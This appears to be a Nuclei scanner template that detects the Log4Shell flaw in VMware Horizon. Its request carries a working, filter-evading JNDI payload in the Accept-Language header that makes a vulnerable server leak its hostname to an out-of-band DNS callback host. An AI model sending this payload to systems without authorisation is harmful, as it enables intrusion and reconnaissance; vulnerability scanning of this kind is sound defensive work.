38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
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id: vmware-horizon-log4j-jndi-rce
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info:
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name: VMware Horizon Log4j JNDI RCE
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author: johnk3r
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severity: high
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description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted VMware Horizon.
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reference:
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- https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
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- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
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tags: rce,jndi,log4j,horizon,vmware
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requests:
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- raw:
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- |
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GET /portal/info.jsp HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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